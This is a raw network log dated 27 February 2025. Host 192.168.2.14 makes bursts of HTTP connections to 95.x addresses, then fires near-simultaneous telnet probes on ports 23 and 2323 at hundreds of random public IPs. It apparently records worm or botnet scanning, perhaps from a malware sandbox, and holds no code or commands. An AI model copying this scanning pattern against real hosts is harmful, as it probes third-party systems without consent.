Feb 27, 2025 07:08:36.672209978 CET	54216	80	192.168.2.14	95.142.150.98
Feb 27, 2025 07:08:36.672547102 CET	54404	80	192.168.2.14	95.142.150.98
Feb 27, 2025 07:08:36.672910929 CET	42936	80	192.168.2.14	95.67.124.14
Feb 27, 2025 07:08:36.672910929 CET	42936	80	192.168.2.14	95.67.124.14
Feb 27, 2025 07:08:36.673214912 CET	43116	80	192.168.2.14	95.67.124.14
Feb 27, 2025 07:08:36.677227020 CET	80	54216	95.142.150.98	192.168.2.14
Feb 27, 2025 07:08:36.677587032 CET	80	54404	95.142.150.98	192.168.2.14
Feb 27, 2025 07:08:36.677637100 CET	54404	80	192.168.2.14	95.142.150.98
Feb 27, 2025 07:08:36.677659988 CET	54404	80	192.168.2.14	95.142.150.98
Feb 27, 2025 07:08:36.677943945 CET	80	42936	95.67.124.14	192.168.2.14
Feb 27, 2025 07:08:36.682948112 CET	80	54404	95.142.150.98	192.168.2.14
Feb 27, 2025 07:08:36.682992935 CET	54404	80	192.168.2.14	95.142.150.98
Feb 27, 2025 07:08:36.690360069 CET	80	47536	95.183.16.67	192.168.2.14
Feb 27, 2025 07:08:36.690381050 CET	80	41964	95.208.254.4	192.168.2.14
Feb 27, 2025 07:08:36.698869944 CET	55348	80	192.168.2.14	95.190.239.241
Feb 27, 2025 07:08:36.698869944 CET	45142	80	192.168.2.14	95.254.18.81
Feb 27, 2025 07:08:36.698874950 CET	33386	80	192.168.2.14	95.87.175.128
Feb 27, 2025 07:08:36.698874950 CET	35210	80	192.168.2.14	95.198.26.202
Feb 27, 2025 07:08:36.698874950 CET	41340	80	192.168.2.14	95.3.203.72
Feb 27, 2025 07:08:36.698874950 CET	41470	80	192.168.2.14	95.143.117.158
Feb 27, 2025 07:08:36.698885918 CET	37882	80	192.168.2.14	95.84.24.120
Feb 27, 2025 07:08:36.698899984 CET	51816	80	192.168.2.14	95.160.53.179
Feb 27, 2025 07:08:36.704051971 CET	80	55348	95.190.239.241	192.168.2.14
Feb 27, 2025 07:08:36.704066992 CET	80	45142	95.254.18.81	192.168.2.14
Feb 27, 2025 07:08:36.704080105 CET	80	33386	95.87.175.128	192.168.2.14
Feb 27, 2025 07:08:36.704109907 CET	55348	80	192.168.2.14	95.190.239.241
Feb 27, 2025 07:08:36.704109907 CET	45142	80	192.168.2.14	95.254.18.81
Feb 27, 2025 07:08:36.704114914 CET	33386	80	192.168.2.14	95.87.175.128
Feb 27, 2025 07:08:36.704154968 CET	45142	80	192.168.2.14	95.254.18.81
Feb 27, 2025 07:08:36.704154968 CET	45142	80	192.168.2.14	95.254.18.81
Feb 27, 2025 07:08:36.704504967 CET	45302	80	192.168.2.14	95.254.18.81
Feb 27, 2025 07:08:36.704875946 CET	55348	80	192.168.2.14	95.190.239.241
Feb 27, 2025 07:08:36.704875946 CET	55348	80	192.168.2.14	95.190.239.241
Feb 27, 2025 07:08:36.705290079 CET	55508	80	192.168.2.14	95.190.239.241
Feb 27, 2025 07:08:36.705590963 CET	33386	80	192.168.2.14	95.87.175.128
Feb 27, 2025 07:08:36.705590963 CET	33386	80	192.168.2.14	95.87.175.128
Feb 27, 2025 07:08:36.705881119 CET	33556	80	192.168.2.14	95.87.175.128
Feb 27, 2025 07:08:36.709250927 CET	80	45142	95.254.18.81	192.168.2.14
Feb 27, 2025 07:08:36.709876060 CET	80	55348	95.190.239.241	192.168.2.14
Feb 27, 2025 07:08:36.710654020 CET	80	33386	95.87.175.128	192.168.2.14
Feb 27, 2025 07:08:36.718327999 CET	80	42936	95.67.124.14	192.168.2.14
Feb 27, 2025 07:08:36.718341112 CET	80	54216	95.142.150.98	192.168.2.14
Feb 27, 2025 07:08:36.730776072 CET	49106	80	192.168.2.14	95.110.138.86
Feb 27, 2025 07:08:36.730776072 CET	36358	80	192.168.2.14	95.204.107.177
Feb 27, 2025 07:08:36.730776072 CET	36226	80	192.168.2.14	95.212.6.85
Feb 27, 2025 07:08:36.730787992 CET	48776	80	192.168.2.14	95.124.197.40
Feb 27, 2025 07:08:36.730787992 CET	57806	80	192.168.2.14	95.71.140.213
Feb 27, 2025 07:08:36.730792046 CET	44346	80	192.168.2.14	95.115.34.133
Feb 27, 2025 07:08:36.730794907 CET	40068	80	192.168.2.14	95.184.145.184
Feb 27, 2025 07:08:36.730804920 CET	34070	80	192.168.2.14	95.120.15.54
Feb 27, 2025 07:08:36.730804920 CET	58530	80	192.168.2.14	95.87.215.15
Feb 27, 2025 07:08:36.730804920 CET	55788	80	192.168.2.14	95.12.127.45
Feb 27, 2025 07:08:36.730808973 CET	47240	80	192.168.2.14	95.159.81.190
Feb 27, 2025 07:08:36.730808973 CET	41078	80	192.168.2.14	95.102.222.187
Feb 27, 2025 07:08:36.730819941 CET	60482	80	192.168.2.14	95.145.159.193
Feb 27, 2025 07:08:36.730824947 CET	33774	80	192.168.2.14	95.164.65.25
Feb 27, 2025 07:08:36.730897903 CET	44154	80	192.168.2.14	95.75.224.20
Feb 27, 2025 07:08:36.730897903 CET	53888	80	192.168.2.14	95.169.99.15
Feb 27, 2025 07:08:36.730897903 CET	38360	80	192.168.2.14	95.61.179.73
Feb 27, 2025 07:08:36.730935097 CET	47434	80	192.168.2.14	95.62.119.132
Feb 27, 2025 07:08:36.730935097 CET	33770	80	192.168.2.14	95.39.237.105
Feb 27, 2025 07:08:36.730935097 CET	46536	80	192.168.2.14	95.31.113.147
Feb 27, 2025 07:08:36.730935097 CET	40714	80	192.168.2.14	95.25.21.18
Feb 27, 2025 07:08:36.730935097 CET	39226	80	192.168.2.14	95.192.75.168
Feb 27, 2025 07:08:36.735821962 CET	80	49106	95.110.138.86	192.168.2.14
Feb 27, 2025 07:08:36.735949039 CET	80	36358	95.204.107.177	192.168.2.14
Feb 27, 2025 07:08:36.735961914 CET	80	36226	95.212.6.85	192.168.2.14
Feb 27, 2025 07:08:36.735969067 CET	49106	80	192.168.2.14	95.110.138.86
Feb 27, 2025 07:08:36.735969067 CET	49106	80	192.168.2.14	95.110.138.86
Feb 27, 2025 07:08:36.735969067 CET	49106	80	192.168.2.14	95.110.138.86
Feb 27, 2025 07:08:36.735989094 CET	36358	80	192.168.2.14	95.204.107.177
Feb 27, 2025 07:08:36.735989094 CET	36226	80	192.168.2.14	95.212.6.85
Feb 27, 2025 07:08:36.736246109 CET	49216	80	192.168.2.14	95.110.138.86
Feb 27, 2025 07:08:36.736664057 CET	36226	80	192.168.2.14	95.212.6.85
Feb 27, 2025 07:08:36.736664057 CET	36226	80	192.168.2.14	95.212.6.85
Feb 27, 2025 07:08:36.736975908 CET	36348	80	192.168.2.14	95.212.6.85
Feb 27, 2025 07:08:36.737333059 CET	36358	80	192.168.2.14	95.204.107.177
Feb 27, 2025 07:08:36.737333059 CET	36358	80	192.168.2.14	95.204.107.177
Feb 27, 2025 07:08:36.737632990 CET	36474	80	192.168.2.14	95.204.107.177
Feb 27, 2025 07:08:36.741072893 CET	80	49106	95.110.138.86	192.168.2.14
Feb 27, 2025 07:08:36.741241932 CET	80	49216	95.110.138.86	192.168.2.14
Feb 27, 2025 07:08:36.741293907 CET	49216	80	192.168.2.14	95.110.138.86
Feb 27, 2025 07:08:36.741312981 CET	49216	80	192.168.2.14	95.110.138.86
Feb 27, 2025 07:08:36.741703987 CET	80	36226	95.212.6.85	192.168.2.14
Feb 27, 2025 07:08:36.742346048 CET	80	36358	95.204.107.177	192.168.2.14
Feb 27, 2025 07:08:36.746548891 CET	80	49216	95.110.138.86	192.168.2.14
Feb 27, 2025 07:08:36.746599913 CET	49216	80	192.168.2.14	95.110.138.86
Feb 27, 2025 07:08:36.750380039 CET	80	55348	95.190.239.241	192.168.2.14
Feb 27, 2025 07:08:36.750399113 CET	80	45142	95.254.18.81	192.168.2.14
Feb 27, 2025 07:08:36.754338980 CET	80	33386	95.87.175.128	192.168.2.14
Feb 27, 2025 07:08:36.762864113 CET	33752	80	192.168.2.14	95.122.24.176
Feb 27, 2025 07:08:36.762872934 CET	35618	80	192.168.2.14	95.94.39.123
Feb 27, 2025 07:08:36.762872934 CET	34586	80	192.168.2.14	95.204.130.116
Feb 27, 2025 07:08:36.762873888 CET	56292	80	192.168.2.14	95.251.67.121
Feb 27, 2025 07:08:36.762892008 CET	55532	80	192.168.2.14	95.128.176.75
Feb 27, 2025 07:08:36.762897015 CET	39224	80	192.168.2.14	95.93.240.149
Feb 27, 2025 07:08:36.762897015 CET	56116	80	192.168.2.14	95.117.245.100
Feb 27, 2025 07:08:36.762897015 CET	38598	80	192.168.2.14	95.89.83.65
Feb 27, 2025 07:08:36.762898922 CET	39148	80	192.168.2.14	95.161.135.58
Feb 27, 2025 07:08:36.762914896 CET	57246	80	192.168.2.14	95.51.44.145
Feb 27, 2025 07:08:36.762932062 CET	46362	80	192.168.2.14	95.24.10.210
Feb 27, 2025 07:08:36.762981892 CET	51072	80	192.168.2.14	95.144.126.109
Feb 27, 2025 07:08:36.762984037 CET	35860	80	192.168.2.14	95.143.168.84
Feb 27, 2025 07:08:36.762984991 CET	48486	80	192.168.2.14	95.137.232.89
Feb 27, 2025 07:08:36.762984991 CET	45648	80	192.168.2.14	95.253.227.50
Feb 27, 2025 07:08:36.763020992 CET	48824	80	192.168.2.14	95.252.14.4
Feb 27, 2025 07:08:36.763020992 CET	46002	80	192.168.2.14	95.2.118.19
Feb 27, 2025 07:08:36.763020992 CET	50962	80	192.168.2.14	95.23.97.153
Feb 27, 2025 07:08:36.763020992 CET	32934	80	192.168.2.14	95.41.36.4
Feb 27, 2025 07:08:36.767935991 CET	80	33752	95.122.24.176	192.168.2.14
Feb 27, 2025 07:08:36.767952919 CET	80	34586	95.204.130.116	192.168.2.14
Feb 27, 2025 07:08:36.767987013 CET	33752	80	192.168.2.14	95.122.24.176
Feb 27, 2025 07:08:36.768001080 CET	34586	80	192.168.2.14	95.204.130.116
Feb 27, 2025 07:08:36.768047094 CET	34586	80	192.168.2.14	95.204.130.116
Feb 27, 2025 07:08:36.768063068 CET	33752	80	192.168.2.14	95.122.24.176
Feb 27, 2025 07:08:36.768063068 CET	33752	80	192.168.2.14	95.122.24.176
Feb 27, 2025 07:08:36.768505096 CET	33864	80	192.168.2.14	95.122.24.176
Feb 27, 2025 07:08:36.773070097 CET	80	33752	95.122.24.176	192.168.2.14
Feb 27, 2025 07:08:36.773524046 CET	80	33864	95.122.24.176	192.168.2.14
Feb 27, 2025 07:08:36.773561954 CET	80	34586	95.204.130.116	192.168.2.14
Feb 27, 2025 07:08:36.773585081 CET	33864	80	192.168.2.14	95.122.24.176
Feb 27, 2025 07:08:36.773585081 CET	33864	80	192.168.2.14	95.122.24.176
Feb 27, 2025 07:08:36.773624897 CET	34586	80	192.168.2.14	95.204.130.116
Feb 27, 2025 07:08:36.778803110 CET	80	33864	95.122.24.176	192.168.2.14
Feb 27, 2025 07:08:36.778898001 CET	33864	80	192.168.2.14	95.122.24.176
Feb 27, 2025 07:08:36.782335043 CET	80	36226	95.212.6.85	192.168.2.14
Feb 27, 2025 07:08:36.782350063 CET	80	49106	95.110.138.86	192.168.2.14
Feb 27, 2025 07:08:36.786339998 CET	80	36358	95.204.107.177	192.168.2.14
Feb 27, 2025 07:08:36.794869900 CET	54894	80	192.168.2.14	95.112.194.23
Feb 27, 2025 07:08:36.794869900 CET	50522	80	192.168.2.14	95.107.74.132
Feb 27, 2025 07:08:36.794889927 CET	49744	80	192.168.2.14	95.128.237.231
Feb 27, 2025 07:08:36.794889927 CET	35522	80	192.168.2.14	95.127.255.243
Feb 27, 2025 07:08:36.794899940 CET	41186	80	192.168.2.14	95.255.172.19
Feb 27, 2025 07:08:36.794908047 CET	54906	80	192.168.2.14	95.94.28.125
Feb 27, 2025 07:08:36.794914961 CET	42436	80	192.168.2.14	95.109.117.173
Feb 27, 2025 07:08:36.794990063 CET	37464	80	192.168.2.14	95.210.181.204
Feb 27, 2025 07:08:36.794991970 CET	38288	80	192.168.2.14	95.239.37.216
Feb 27, 2025 07:08:36.794990063 CET	56980	80	192.168.2.14	95.71.219.235
Feb 27, 2025 07:08:36.794990063 CET	55804	80	192.168.2.14	95.0.26.231
Feb 27, 2025 07:08:36.794990063 CET	52532	80	192.168.2.14	95.123.195.28
Feb 27, 2025 07:08:36.794991970 CET	53498	80	192.168.2.14	95.245.219.98
Feb 27, 2025 07:08:36.794991970 CET	60390	80	192.168.2.14	95.168.64.252
Feb 27, 2025 07:08:36.800024986 CET	80	54894	95.112.194.23	192.168.2.14
Feb 27, 2025 07:08:36.800040960 CET	80	50522	95.107.74.132	192.168.2.14
Feb 27, 2025 07:08:36.800080061 CET	54894	80	192.168.2.14	95.112.194.23
Feb 27, 2025 07:08:36.800080061 CET	50522	80	192.168.2.14	95.107.74.132
Feb 27, 2025 07:08:36.800103903 CET	54894	80	192.168.2.14	95.112.194.23
Feb 27, 2025 07:08:36.800115108 CET	50522	80	192.168.2.14	95.107.74.132
Feb 27, 2025 07:08:36.805435896 CET	80	54894	95.112.194.23	192.168.2.14
Feb 27, 2025 07:08:36.805521965 CET	54894	80	192.168.2.14	95.112.194.23
Feb 27, 2025 07:08:36.805592060 CET	80	50522	95.107.74.132	192.168.2.14
Feb 27, 2025 07:08:36.805633068 CET	50522	80	192.168.2.14	95.107.74.132
Feb 27, 2025 07:08:36.814337969 CET	80	33752	95.122.24.176	192.168.2.14
Feb 27, 2025 07:08:37.545610905 CET	25794	23	192.168.2.14	77.184.50.174
Feb 27, 2025 07:08:37.545610905 CET	25794	23	192.168.2.14	12.1.147.194
Feb 27, 2025 07:08:37.545610905 CET	25794	23	192.168.2.14	4.72.215.229
Feb 27, 2025 07:08:37.545613050 CET	25794	23	192.168.2.14	223.114.255.25
Feb 27, 2025 07:08:37.545614004 CET	25794	23	192.168.2.14	81.198.53.76
Feb 27, 2025 07:08:37.545614004 CET	25794	23	192.168.2.14	20.160.11.86
Feb 27, 2025 07:08:37.545614004 CET	25794	23	192.168.2.14	146.44.141.12
Feb 27, 2025 07:08:37.545614004 CET	25794	23	192.168.2.14	35.255.110.148
Feb 27, 2025 07:08:37.545614004 CET	25794	2323	192.168.2.14	39.166.223.200
Feb 27, 2025 07:08:37.545614004 CET	25794	23	192.168.2.14	70.134.191.83
Feb 27, 2025 07:08:37.545614004 CET	25794	2323	192.168.2.14	138.182.44.197
Feb 27, 2025 07:08:37.545614004 CET	25794	23	192.168.2.14	122.227.128.165
Feb 27, 2025 07:08:37.545614004 CET	25794	23	192.168.2.14	14.27.162.213
Feb 27, 2025 07:08:37.545619011 CET	25794	23	192.168.2.14	49.234.177.19
Feb 27, 2025 07:08:37.545614004 CET	25794	23	192.168.2.14	200.230.30.205
Feb 27, 2025 07:08:37.545614004 CET	25794	23	192.168.2.14	51.241.92.212
Feb 27, 2025 07:08:37.545614004 CET	25794	23	192.168.2.14	49.32.148.65
Feb 27, 2025 07:08:37.545622110 CET	25794	2323	192.168.2.14	50.176.26.221
Feb 27, 2025 07:08:37.545614004 CET	25794	23	192.168.2.14	186.68.146.115
Feb 27, 2025 07:08:37.545619011 CET	25794	23	192.168.2.14	5.231.41.20
Feb 27, 2025 07:08:37.545619965 CET	25794	23	192.168.2.14	62.228.91.147
Feb 27, 2025 07:08:37.545619965 CET	25794	23	192.168.2.14	190.250.39.209
Feb 27, 2025 07:08:37.545619965 CET	25794	23	192.168.2.14	98.90.89.177
Feb 27, 2025 07:08:37.545622110 CET	25794	23	192.168.2.14	46.200.108.190
Feb 27, 2025 07:08:37.545623064 CET	25794	23	192.168.2.14	172.182.223.36
Feb 27, 2025 07:08:37.545623064 CET	25794	23	192.168.2.14	119.18.174.145
Feb 27, 2025 07:08:37.545634985 CET	25794	23	192.168.2.14	163.236.211.6
Feb 27, 2025 07:08:37.545634985 CET	25794	23	192.168.2.14	152.83.179.30
Feb 27, 2025 07:08:37.545634985 CET	25794	23	192.168.2.14	156.237.212.235
Feb 27, 2025 07:08:37.545635939 CET	25794	23	192.168.2.14	157.86.119.181
Feb 27, 2025 07:08:37.545635939 CET	25794	23	192.168.2.14	155.161.219.53
Feb 27, 2025 07:08:37.545635939 CET	25794	2323	192.168.2.14	116.11.102.225
Feb 27, 2025 07:08:37.545705080 CET	25794	23	192.168.2.14	159.163.195.87
Feb 27, 2025 07:08:37.545705080 CET	25794	23	192.168.2.14	54.106.154.25
Feb 27, 2025 07:08:37.545705080 CET	25794	23	192.168.2.14	17.68.163.209
Feb 27, 2025 07:08:37.545705080 CET	25794	23	192.168.2.14	84.8.108.103
Feb 27, 2025 07:08:37.545705080 CET	25794	23	192.168.2.14	164.249.228.239
Feb 27, 2025 07:08:37.545705080 CET	25794	23	192.168.2.14	137.73.136.10
Feb 27, 2025 07:08:37.545736074 CET	25794	23	192.168.2.14	155.209.95.240
Feb 27, 2025 07:08:37.545736074 CET	25794	23	192.168.2.14	210.211.5.17
Feb 27, 2025 07:08:37.545736074 CET	25794	23	192.168.2.14	38.122.26.180
Feb 27, 2025 07:08:37.545737028 CET	25794	23	192.168.2.14	108.111.138.12
Feb 27, 2025 07:08:37.545736074 CET	25794	23	192.168.2.14	69.93.60.100
Feb 27, 2025 07:08:37.545737028 CET	25794	23	192.168.2.14	162.216.253.168
Feb 27, 2025 07:08:37.545736074 CET	25794	23	192.168.2.14	135.187.172.24
Feb 27, 2025 07:08:37.545737028 CET	25794	23	192.168.2.14	197.78.65.190
Feb 27, 2025 07:08:37.545737028 CET	25794	2323	192.168.2.14	186.205.237.214
Feb 27, 2025 07:08:37.545737028 CET	25794	23	192.168.2.14	80.54.202.74
Feb 27, 2025 07:08:37.545736074 CET	25794	23	192.168.2.14	186.114.185.226
Feb 27, 2025 07:08:37.545737028 CET	25794	23	192.168.2.14	206.81.159.92
Feb 27, 2025 07:08:37.545737028 CET	25794	23	192.168.2.14	101.85.252.225
Feb 27, 2025 07:08:37.545737028 CET	25794	23	192.168.2.14	210.124.107.154
Feb 27, 2025 07:08:37.545736074 CET	25794	23	192.168.2.14	175.231.202.21
Feb 27, 2025 07:08:37.545737028 CET	25794	23	192.168.2.14	38.212.63.234
Feb 27, 2025 07:08:37.545737028 CET	25794	2323	192.168.2.14	172.48.58.71
Feb 27, 2025 07:08:37.545738935 CET	25794	23	192.168.2.14	69.245.159.190
Feb 27, 2025 07:08:37.545736074 CET	25794	23	192.168.2.14	12.74.246.119
Feb 27, 2025 07:08:37.545737028 CET	25794	23	192.168.2.14	184.169.87.143
Feb 27, 2025 07:08:37.545738935 CET	25794	23	192.168.2.14	142.58.224.138
Feb 27, 2025 07:08:37.545737028 CET	25794	23	192.168.2.14	138.174.156.255
Feb 27, 2025 07:08:37.545737982 CET	25794	23	192.168.2.14	138.35.223.44
Feb 27, 2025 07:08:37.545738935 CET	25794	23	192.168.2.14	51.89.223.166
Feb 27, 2025 07:08:37.545737982 CET	25794	23	192.168.2.14	65.228.216.182
Feb 27, 2025 07:08:37.545737028 CET	25794	23	192.168.2.14	81.143.90.79
Feb 27, 2025 07:08:37.545739889 CET	25794	2323	192.168.2.14	143.44.16.105
Feb 27, 2025 07:08:37.545737982 CET	25794	2323	192.168.2.14	222.173.70.153
Feb 27, 2025 07:08:37.545758009 CET	25794	23	192.168.2.14	184.60.58.169
Feb 27, 2025 07:08:37.545739889 CET	25794	23	192.168.2.14	125.220.50.31
Feb 27, 2025 07:08:37.545758009 CET	25794	23	192.168.2.14	25.11.133.231
Feb 27, 2025 07:08:37.545739889 CET	25794	2323	192.168.2.14	161.206.163.60
Feb 27, 2025 07:08:37.545758009 CET	25794	23	192.168.2.14	188.91.48.19
Feb 27, 2025 07:08:37.545747042 CET	25794	2323	192.168.2.14	107.179.164.77
Feb 27, 2025 07:08:37.545758009 CET	25794	23	192.168.2.14	144.49.253.5
Feb 27, 2025 07:08:37.545739889 CET	25794	23	192.168.2.14	182.246.0.70
Feb 27, 2025 07:08:37.545758009 CET	25794	23	192.168.2.14	46.49.25.124
Feb 27, 2025 07:08:37.545739889 CET	25794	23	192.168.2.14	75.34.132.69
Feb 27, 2025 07:08:37.545758009 CET	25794	23	192.168.2.14	76.52.244.38
Feb 27, 2025 07:08:37.545758009 CET	25794	23	192.168.2.14	171.70.50.194
Feb 27, 2025 07:08:37.545758009 CET	25794	23	192.168.2.14	213.115.122.193
Feb 27, 2025 07:08:37.545747042 CET	25794	23	192.168.2.14	61.20.94.218
Feb 27, 2025 07:08:37.545747042 CET	25794	23	192.168.2.14	115.141.142.127
Feb 27, 2025 07:08:37.545747042 CET	25794	23	192.168.2.14	184.210.21.25
Feb 27, 2025 07:08:37.545747995 CET	25794	23	192.168.2.14	202.93.168.49
Feb 27, 2025 07:08:37.545747995 CET	25794	23	192.168.2.14	75.31.92.131
Feb 27, 2025 07:08:37.545747995 CET	25794	23	192.168.2.14	50.92.238.121
Feb 27, 2025 07:08:37.545747995 CET	25794	23	192.168.2.14	158.179.213.151
Feb 27, 2025 07:08:37.545782089 CET	25794	23	192.168.2.14	187.21.65.86
Feb 27, 2025 07:08:37.545783043 CET	25794	23	192.168.2.14	193.254.17.253
Feb 27, 2025 07:08:37.545782089 CET	25794	23	192.168.2.14	220.57.46.160
Feb 27, 2025 07:08:37.545783043 CET	25794	23	192.168.2.14	89.30.30.200
Feb 27, 2025 07:08:37.545782089 CET	25794	23	192.168.2.14	186.88.6.196
Feb 27, 2025 07:08:37.545783043 CET	25794	23	192.168.2.14	108.204.238.77
Feb 27, 2025 07:08:37.545782089 CET	25794	23	192.168.2.14	176.17.129.165
Feb 27, 2025 07:08:37.545782089 CET	25794	23	192.168.2.14	106.126.154.218
Feb 27, 2025 07:08:37.545787096 CET	25794	23	192.168.2.14	199.171.64.222
Feb 27, 2025 07:08:37.545783997 CET	25794	23	192.168.2.14	44.38.110.177
Feb 27, 2025 07:08:37.545782089 CET	25794	23	192.168.2.14	185.177.202.197
Feb 27, 2025 07:08:37.545783997 CET	25794	23	192.168.2.14	108.171.235.85
Feb 27, 2025 07:08:37.545782089 CET	25794	23	192.168.2.14	134.127.180.158
Feb 27, 2025 07:08:37.545783997 CET	25794	23	192.168.2.14	164.227.20.41
Feb 27, 2025 07:08:37.545782089 CET	25794	23	192.168.2.14	159.132.195.165
Feb 27, 2025 07:08:37.545788050 CET	25794	23	192.168.2.14	76.222.188.34
Feb 27, 2025 07:08:37.545783997 CET	25794	23	192.168.2.14	84.198.111.113
Feb 27, 2025 07:08:37.545788050 CET	25794	23	192.168.2.14	76.100.146.170
Feb 27, 2025 07:08:37.545783997 CET	25794	2323	192.168.2.14	182.219.60.173
Feb 27, 2025 07:08:37.545788050 CET	25794	23	192.168.2.14	154.42.78.134
Feb 27, 2025 07:08:37.545788050 CET	25794	23	192.168.2.14	42.97.54.112
Feb 27, 2025 07:08:37.545788050 CET	25794	23	192.168.2.14	178.173.159.32
Feb 27, 2025 07:08:37.545788050 CET	25794	23	192.168.2.14	38.126.88.188
Feb 27, 2025 07:08:37.545788050 CET	25794	23	192.168.2.14	65.14.66.165
Feb 27, 2025 07:08:37.545813084 CET	25794	23	192.168.2.14	181.51.150.4
Feb 27, 2025 07:08:37.545813084 CET	25794	23	192.168.2.14	41.56.64.35
Feb 27, 2025 07:08:37.545813084 CET	25794	23	192.168.2.14	175.51.232.151
Feb 27, 2025 07:08:37.545813084 CET	25794	2323	192.168.2.14	86.66.211.45
Feb 27, 2025 07:08:37.545813084 CET	25794	23	192.168.2.14	111.128.160.60
Feb 27, 2025 07:08:37.545813084 CET	25794	23	192.168.2.14	82.102.183.45
Feb 27, 2025 07:08:37.545813084 CET	25794	23	192.168.2.14	188.34.223.246
Feb 27, 2025 07:08:37.545813084 CET	25794	23	192.168.2.14	191.251.83.200
Feb 27, 2025 07:08:37.545825958 CET	25794	23	192.168.2.14	34.210.1.175
Feb 27, 2025 07:08:37.545825958 CET	25794	23	192.168.2.14	13.65.175.10
Feb 27, 2025 07:08:37.545825958 CET	25794	23	192.168.2.14	44.78.84.85
Feb 27, 2025 07:08:37.545825958 CET	25794	23	192.168.2.14	154.52.129.127
Feb 27, 2025 07:08:37.545825958 CET	25794	23	192.168.2.14	106.23.202.186
Feb 27, 2025 07:08:37.545825958 CET	25794	23	192.168.2.14	19.226.110.172
Feb 27, 2025 07:08:37.545830011 CET	25794	23	192.168.2.14	64.129.28.227
Feb 27, 2025 07:08:37.545830011 CET	25794	23	192.168.2.14	48.49.202.8
Feb 27, 2025 07:08:37.545833111 CET	25794	23	192.168.2.14	155.56.49.2
Feb 27, 2025 07:08:37.545833111 CET	25794	2323	192.168.2.14	213.40.6.176
Feb 27, 2025 07:08:37.545835018 CET	25794	23	192.168.2.14	213.236.218.93
Feb 27, 2025 07:08:37.545830965 CET	25794	23	192.168.2.14	77.248.203.157
Feb 27, 2025 07:08:37.545833111 CET	25794	23	192.168.2.14	68.196.77.24
Feb 27, 2025 07:08:37.545830965 CET	25794	23	192.168.2.14	84.96.97.234
Feb 27, 2025 07:08:37.545835018 CET	25794	2323	192.168.2.14	211.205.66.232
Feb 27, 2025 07:08:37.545833111 CET	25794	2323	192.168.2.14	166.159.63.97
Feb 27, 2025 07:08:37.545840979 CET	25794	23	192.168.2.14	145.63.249.95
Feb 27, 2025 07:08:37.545835018 CET	25794	23	192.168.2.14	70.163.1.58
Feb 27, 2025 07:08:37.545833111 CET	25794	23	192.168.2.14	74.193.163.203
Feb 27, 2025 07:08:37.545840979 CET	25794	23	192.168.2.14	136.249.49.66
Feb 27, 2025 07:08:37.545835018 CET	25794	23	192.168.2.14	178.138.21.60
Feb 27, 2025 07:08:37.545833111 CET	25794	2323	192.168.2.14	70.251.31.164
Feb 27, 2025 07:08:37.545835018 CET	25794	2323	192.168.2.14	185.250.208.70
Feb 27, 2025 07:08:37.545841932 CET	25794	23	192.168.2.14	149.144.20.213
Feb 27, 2025 07:08:37.545833111 CET	25794	23	192.168.2.14	25.48.219.92
Feb 27, 2025 07:08:37.545841932 CET	25794	23	192.168.2.14	128.201.92.167
Feb 27, 2025 07:08:37.545840979 CET	25794	23	192.168.2.14	68.21.108.233
Feb 27, 2025 07:08:37.545833111 CET	25794	2323	192.168.2.14	109.42.9.77
Feb 27, 2025 07:08:37.545840979 CET	25794	23	192.168.2.14	75.35.90.127
Feb 27, 2025 07:08:37.545835018 CET	25794	23	192.168.2.14	103.111.62.35
Feb 27, 2025 07:08:37.545841932 CET	25794	23	192.168.2.14	34.32.88.65
Feb 27, 2025 07:08:37.545841932 CET	25794	2323	192.168.2.14	146.8.11.104
Feb 27, 2025 07:08:37.545835018 CET	25794	23	192.168.2.14	136.128.68.252
Feb 27, 2025 07:08:37.545841932 CET	25794	23	192.168.2.14	193.30.70.61
Feb 27, 2025 07:08:37.545835018 CET	25794	23	192.168.2.14	184.182.207.218
Feb 27, 2025 07:08:37.545841932 CET	25794	23	192.168.2.14	195.40.129.2
Feb 27, 2025 07:08:37.545830965 CET	25794	23	192.168.2.14	185.91.23.147
Feb 27, 2025 07:08:37.545841932 CET	25794	23	192.168.2.14	201.77.228.47
Feb 27, 2025 07:08:37.545864105 CET	25794	23	192.168.2.14	184.232.82.43
Feb 27, 2025 07:08:37.545862913 CET	25794	23	192.168.2.14	65.242.203.226
Feb 27, 2025 07:08:37.545841932 CET	25794	23	192.168.2.14	191.163.74.178
Feb 27, 2025 07:08:37.545841932 CET	25794	23	192.168.2.14	90.224.87.203
Feb 27, 2025 07:08:37.545841932 CET	25794	23	192.168.2.14	216.251.220.171
Feb 27, 2025 07:08:37.545871973 CET	25794	23	192.168.2.14	194.26.7.103
Feb 27, 2025 07:08:37.545862913 CET	25794	23	192.168.2.14	18.150.143.28
Feb 27, 2025 07:08:37.545841932 CET	25794	23	192.168.2.14	192.159.206.3
Feb 27, 2025 07:08:37.545840979 CET	25794	23	192.168.2.14	12.81.249.238
Feb 27, 2025 07:08:37.545841932 CET	25794	23	192.168.2.14	213.245.133.220
Feb 27, 2025 07:08:37.545871973 CET	25794	23	192.168.2.14	92.156.141.165
Feb 27, 2025 07:08:37.545830965 CET	25794	23	192.168.2.14	2.34.232.219
Feb 27, 2025 07:08:37.545862913 CET	25794	23	192.168.2.14	157.104.22.24
Feb 27, 2025 07:08:37.545886040 CET	25794	2323	192.168.2.14	211.176.136.86
Feb 27, 2025 07:08:37.545876980 CET	25794	23	192.168.2.14	193.41.59.49
Feb 27, 2025 07:08:37.545862913 CET	25794	23	192.168.2.14	1.68.217.148
Feb 27, 2025 07:08:37.545876980 CET	25794	23	192.168.2.14	177.137.106.156
Feb 27, 2025 07:08:37.545862913 CET	25794	23	192.168.2.14	160.202.52.31
Feb 27, 2025 07:08:37.545857906 CET	25794	2323	192.168.2.14	19.77.25.94
Feb 27, 2025 07:08:37.545862913 CET	25794	23	192.168.2.14	222.159.241.52
Feb 27, 2025 07:08:37.545886040 CET	25794	23	192.168.2.14	189.135.55.137
Feb 27, 2025 07:08:37.545871973 CET	25794	23	192.168.2.14	20.202.229.76
Feb 27, 2025 07:08:37.545886040 CET	25794	23	192.168.2.14	140.141.208.166
Feb 27, 2025 07:08:37.545895100 CET	25794	23	192.168.2.14	112.59.4.191
Feb 27, 2025 07:08:37.545886040 CET	25794	23	192.168.2.14	146.93.115.166
Feb 27, 2025 07:08:37.545896053 CET	25794	23	192.168.2.14	155.79.11.161
Feb 27, 2025 07:08:37.545900106 CET	25794	23	192.168.2.14	20.106.78.176
Feb 27, 2025 07:08:37.545871973 CET	25794	2323	192.168.2.14	216.108.160.146
Feb 27, 2025 07:08:37.545896053 CET	25794	23	192.168.2.14	119.50.222.83
Feb 27, 2025 07:08:37.545886040 CET	25794	23	192.168.2.14	202.195.204.16
Feb 27, 2025 07:08:37.545830965 CET	25794	23	192.168.2.14	90.34.205.155
